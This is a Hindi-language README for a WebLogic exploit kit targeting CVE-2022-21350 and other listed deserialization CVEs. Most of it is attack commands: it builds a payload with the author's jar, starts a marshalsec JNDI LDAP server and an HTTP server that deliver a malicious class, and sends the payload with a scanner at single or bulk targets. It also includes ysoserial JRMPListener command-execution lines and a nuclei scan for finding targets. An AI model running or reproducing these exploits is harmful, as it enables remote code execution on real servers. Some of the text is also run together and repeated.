दो poc क्यों
एक साथ
com._51pwn.hktalent.CreatJar.main(args);
न्यूनतम पेलोड जनरेट करने वाले टूल को बनाते समय उपयोग किया जाता है
बनाने के बाद दूसरे का उपयोग करें

CVE-2022-21350_powerBy_51pwn.jar चलाने पर पेलोड बनाने में त्रुटि आती है, लेकिन इससे पेलोड के उपयोग पर कोई प्रभाव नहीं पड़ता

अन्य एक्सपी

CVE_2020_2551
CVE_2020_2555
CVE_2020_2883
CVE_2020_14645
CVE_2020_14756
CVE_2020_14825
CVE_2020_14841
CVE_2021_2394
CVE_2022_21306
CVE_2022_21350

उपयोग कैसे करें

1- पेलोड जनरेट करें

docker run -d -p 7001:7001 -p 8453:8453 -v $PWD/setDomainEnv.sh:/home/weblogic/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/setDomainEnv.sh hktalent/weblogic:12.2.1.4.0

java -cp CVE-2022-21350_powerBy_51pwn.jar com._51pwn.CVE_2022_21350.Main "t3://127.0.0.1:7001/" "ldap://docker.for.mac.localhost:1389/UpX34defineClass"

2- LDAP सर्वर शुरू करें

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://docker.for.mac.localhost:8888/#UpX34defineClass' 1389

3- HTTP सर्वर शुरू करें, क्लास फ़ाइल भेजने के लिए

node httpServer.js

4- पेलोड भेजें

py3 ../WeblogicScan.py --tags 21350 -r -v -u http://127.0.0.1:7001
# अधिक
cat ../T3_ver.txt|awk '{print $1}'|py3 ../WeblogicScan.py --tags 21350 -r -v -s  

java -server -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8453,server=y,suspend=n -Djava.compiler=NONE -cp ysuserial-0.9-su18-all.jar org.su18.ysuserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59"

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59" java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app" >>/Users/51pwn/MyWork/TestPoc/JRMPListener.ser

पेलोड कहाँ है

cat test.ser

त्रुटि संदेश क्यों आता है

चलाने पर त्रुटि आती है लेकिन इससे पेलोड के निर्माण और प्रभाव पर कोई असर नहीं पड़ता
चलाने पर त्रुटि आने से पेलोड के निर्माण और प्रभाव पर कोई असर नहीं पड़ता

हमला कैसे करें

nuclei -duc -t ./network/detection/weblogic-t3-detect.yaml -l list.txt

समर्थित उपकरण：

• 1- वेबलॉजिक संस्करण

• 12.1.3.0.0
• 12.2.1.3.0
• 12.2.1.4.0

• 2- JDK < 1.8
• 3- सर्वर OOB की अनुमति देता है

जार कैसे बनाएं और मर्ज करें

cd lib3
# विभाजित करें
py3 ../tools/splitTools.py -s wlfullclient_12.1.3.jar
# मर्ज करें
py3 ../tools/splitTools.py -m wlfullclient_12.1.3.jar

विशेष धन्यवाद

• <a href=https://github.com/lz520520>@lz520520
• <a href=https://github.com/Y4er>@Y4er